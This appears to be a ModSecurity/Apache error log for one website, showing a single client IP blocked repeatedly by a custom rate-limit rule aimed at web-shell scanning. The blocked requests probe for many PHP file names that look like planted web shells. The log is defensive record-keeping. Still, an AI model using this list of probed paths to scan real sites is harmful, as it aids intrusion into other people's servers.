[Sun Mar 01 13:26:49.092300 2026] [:error] [pid 41967:tid 41992] [client 158.158.52.178:27103] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPOGYO1bqY181I02eFpTwAAAJc"]
[Sun Mar 01 13:26:49.605655 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:37450] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaPOGfKRPk6YnJBxw_ztZwAAAME"]
[Sun Mar 01 13:26:50.139783 2026] [:error] [pid 41967:tid 41982] [client 158.158.52.178:25637] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.php"] [unique_id "aaPOGoO1bqY181I02eFpVQAAAI0"]
[Sun Mar 01 13:26:50.694239 2026] [:error] [pid 41967:tid 41983] [client 158.158.52.178:37463] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.php"] [unique_id "aaPOGoO1bqY181I02eFpWQAAAI4"]
[Sun Mar 01 13:26:51.238375 2026] [:error] [pid 41780:tid 41785] [client 158.158.52.178:27114] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.php"] [unique_id "aaPOG8ONkVoocLIqzy38EwAAA8I"]
[Sun Mar 01 13:26:51.795943 2026] [:error] [pid 41780:tid 41806] [client 158.158.52.178:30016] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/app.php"] [unique_id "aaPOG8ONkVoocLIqzy38FQAAA9c"]
[Sun Mar 01 13:26:52.302922 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:19851] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaPOHPKRPk6YnJBxw_ztcgAAANI"]
[Sun Mar 01 13:26:52.843029 2026] [:error] [pid 41967:tid 41975] [client 158.158.52.178:27082] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaPOHIO1bqY181I02eFpYQAAAIY"]
[Sun Mar 01 13:26:53.324203 2026] [:error] [pid 41967:tid 41987] [client 158.158.52.178:27123] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaPOHYO1bqY181I02eFpZAAAAJI"]
[Sun Mar 01 13:26:53.808611 2026] [:error] [pid 41967:tid 41979] [client 158.158.52.178:37950] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws59.php"] [unique_id "aaPOHYO1bqY181I02eFpZwAAAIo"]
[Sun Mar 01 13:26:54.292660 2026] [:error] [pid 40750:tid 40774] [client 158.158.52.178:37927] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaPOHgfBuk03yQKDyqu_ZwAAAdU"]
[Sun Mar 01 13:26:54.773202 2026] [:error] [pid 40750:tid 40757] [client 158.158.52.178:27089] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaPOHgfBuk03yQKDyqu_agAAAcQ"]
[Sun Mar 01 13:26:55.259033 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:30062] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaPOH_KRPk6YnJBxw_ztdgAAAM4"]
[Sun Mar 01 13:26:55.742334 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:35459] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aaPOH_KRPk6YnJBxw_zteAAAAM4"]
[Sun Mar 01 13:26:56.223955 2026] [:error] [pid 40750:tid 40760] [client 158.158.52.178:19898] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mamzi.php"] [unique_id "aaPOIAfBuk03yQKDyqu_bgAAAcc"]
[Sun Mar 01 13:26:56.762051 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:25632] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mamzi.php"] [unique_id "aaPOIPKRPk6YnJBxw_ztfAAAANI"]
[Sun Mar 01 13:26:57.249769 2026] [:error] [pid 41342:tid 41365] [client 158.158.52.178:27955] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mamzi.php"] [unique_id "aaPOIY4iJ6RAS5CatDk5agAAAhQ"]
[Sun Mar 01 13:26:57.800260 2026] [:error] [pid 40750:tid 40774] [client 158.158.52.178:19856] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mamzi.php"] [unique_id "aaPOIQfBuk03yQKDyqu_cQAAAdU"]
[Sun Mar 01 13:26:58.309071 2026] [:error] [pid 41342:tid 41366] [client 158.158.52.178:37423] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aaPOIo4iJ6RAS5CatDk5bAAAAhU"]
[Sun Mar 01 13:26:58.826656 2026] [:error] [pid 41342:tid 41369] [client 158.158.52.178:4477] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aaPOIo4iJ6RAS5CatDk5bgAAAhg"]
[Sun Mar 01 13:26:59.410038 2026] [:error] [pid 41780:tid 41801] [client 158.158.52.178:43454] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aaPOI8ONkVoocLIqzy38IAAAA9I"]
[Sun Mar 01 13:26:59.897285 2026] [:error] [pid 41780:tid 41791] [client 158.158.52.178:4476] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "aaPOI8ONkVoocLIqzy38IwAAA8g"]
[Sun Mar 01 13:27:00.454359 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:27131] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ae.php"] [unique_id "aaPOJPKRPk6YnJBxw_zthQAAAM4"]
[Sun Mar 01 13:27:00.939946 2026] [:error] [pid 41780:tid 41785] [client 158.158.52.178:25659] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ae.php"] [unique_id "aaPOJMONkVoocLIqzy38KAAAA8I"]
[Sun Mar 01 13:27:01.448798 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:27102] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ae.php"] [unique_id "aaPOJfKRPk6YnJBxw_ztiQAAAM4"]
[Sun Mar 01 13:27:01.933541 2026] [:error] [pid 41780:tid 41805] [client 158.158.52.178:35472] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ae.php"] [unique_id "aaPOJcONkVoocLIqzy38KQAAA9Y"]
[Sun Mar 01 13:27:02.414737 2026] [:error] [pid 41342:tid 41361] [client 158.158.52.178:37424] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaPOJo4iJ6RAS5CatDk5cQAAAhA"]
[Sun Mar 01 13:27:02.900968 2026] [:error] [pid 40750:tid 40775] [client 158.158.52.178:30078] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaPOJgfBuk03yQKDyqu_eQAAAdY"]
[Sun Mar 01 13:27:03.403150 2026] [:error] [pid 41967:tid 41989] [client 158.158.52.178:32259] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaPOJ4O1bqY181I02eFpigAAAJQ"]
[Sun Mar 01 13:27:03.880382 2026] [:error] [pid 41780:tid 41786] [client 158.158.52.178:35519] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaPOJ8ONkVoocLIqzy38MAAAA8M"]
[Sun Mar 01 13:27:04.366025 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:27957] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaPOKPKRPk6YnJBxw_ztjAAAAME"]
[Sun Mar 01 13:27:04.873668 2026] [:error] [pid 40750:tid 40773] [client 158.158.52.178:37397] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaPOKAfBuk03yQKDyqu_gAAAAdQ"]
[Sun Mar 01 13:27:05.381169 2026] [:error] [pid 41780:tid 41799] [client 158.158.52.178:43421] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaPOKcONkVoocLIqzy38NQAAA9A"]
[Sun Mar 01 13:27:05.880183 2026] [:error] [pid 41780:tid 41783] [client 158.158.52.178:37432] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaPOKcONkVoocLIqzy38NwAAA8A"]
[Sun Mar 01 13:27:06.358988 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:32261] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aaPOKvKRPk6YnJBxw_ztkAAAAM4"]
[Sun Mar 01 13:27:06.843480 2026] [:error] [pid 41967:tid 41979] [client 158.158.52.178:34310] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aaPOKoO1bqY181I02eFpiwAAAIo"]
[Sun Mar 01 13:27:07.336337 2026] [:error] [pid 41342:tid 41364] [client 158.158.52.178:43437] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aaPOK44iJ6RAS5CatDk5fAAAAhM"]
[Sun Mar 01 13:27:07.841329 2026] [:error] [pid 41780:tid 41803] [client 158.158.52.178:19862] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aaPOK8ONkVoocLIqzy38OgAAA9Q"]
[Sun Mar 01 13:27:08.332247 2026] [:error] [pid 41967:tid 41983] [client 158.158.52.178:43411] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aaPOLIO1bqY181I02eFpjgAAAI4"]
[Sun Mar 01 13:27:08.809888 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:35502] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aaPOLPKRPk6YnJBxw_ztngAAANI"]
[Sun Mar 01 13:27:09.316359 2026] [:error] [pid 41967:tid 41969] [client 158.158.52.178:27948] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aaPOLYO1bqY181I02eFpkgAAAIA"]
[Sun Mar 01 13:27:09.804846 2026] [:error] [pid 41780:tid 41794] [client 158.158.52.178:27925] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aaPOLcONkVoocLIqzy38QQAAA8s"]
[Sun Mar 01 13:27:10.313997 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:30019] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ze.php"] [unique_id "aaPOLoO1bqY181I02eFplwAAAIk"]
[Sun Mar 01 13:27:10.813487 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:30047] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ze.php"] [unique_id "aaPOLvKRPk6YnJBxw_ztogAAAM4"]
[Sun Mar 01 13:27:11.314556 2026] [:error] [pid 41967:tid 41976] [client 158.158.52.178:4426] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ze.php"] [unique_id "aaPOL4O1bqY181I02eFpngAAAIc"]
[Sun Mar 01 13:27:11.802470 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:32281] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ze.php"] [unique_id "aaPOL_KRPk6YnJBxw_ztowAAAM4"]
[Sun Mar 01 13:27:12.310699 2026] [:error] [pid 41780:tid 41793] [client 158.158.52.178:43414] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aaPOMMONkVoocLIqzy38RwAAA8o"]
[Sun Mar 01 13:27:12.804553 2026] [:error] [pid 41967:tid 41969] [client 158.158.52.178:25640] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aaPOMIO1bqY181I02eFpowAAAIA"]
[Sun Mar 01 13:27:13.285121 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:32279] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aaPOMfKRPk6YnJBxw_ztqAAAAME"]
[Sun Mar 01 13:27:13.780647 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:25654] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aaPOMfKRPk6YnJBxw_ztqwAAAMk"]
[Sun Mar 01 13:27:14.270898 2026] [:error] [pid 41967:tid 41975] [client 158.158.52.178:32273] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tax.php"] [unique_id "aaPOMoO1bqY181I02eFprAAAAIY"]
[Sun Mar 01 13:27:14.759302 2026] [:error] [pid 41967:tid 41979] [client 158.158.52.178:27916] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tax.php"] [unique_id "aaPOMoO1bqY181I02eFprgAAAIo"]
[Sun Mar 01 13:27:15.281994 2026] [:error] [pid 41780:tid 41794] [client 158.158.52.178:34308] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tax.php"] [unique_id "aaPOM8ONkVoocLIqzy38UgAAA8s"]
[Sun Mar 01 13:27:15.772121 2026] [:error] [pid 41342:tid 41349] [client 158.158.52.178:43448] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tax.php"] [unique_id "aaPOM44iJ6RAS5CatDk5jgAAAgQ"]
[Sun Mar 01 13:27:16.292320 2026] [:error] [pid 41780:tid 41789] [client 158.158.52.178:37438] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an7.php"] [unique_id "aaPONMONkVoocLIqzy38VQAAA8Y"]
[Sun Mar 01 13:27:16.816281 2026] [:error] [pid 41780:tid 41800] [client 158.158.52.178:27925] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/an7.php"] [unique_id "aaPONMONkVoocLIqzy38VwAAA9E"]
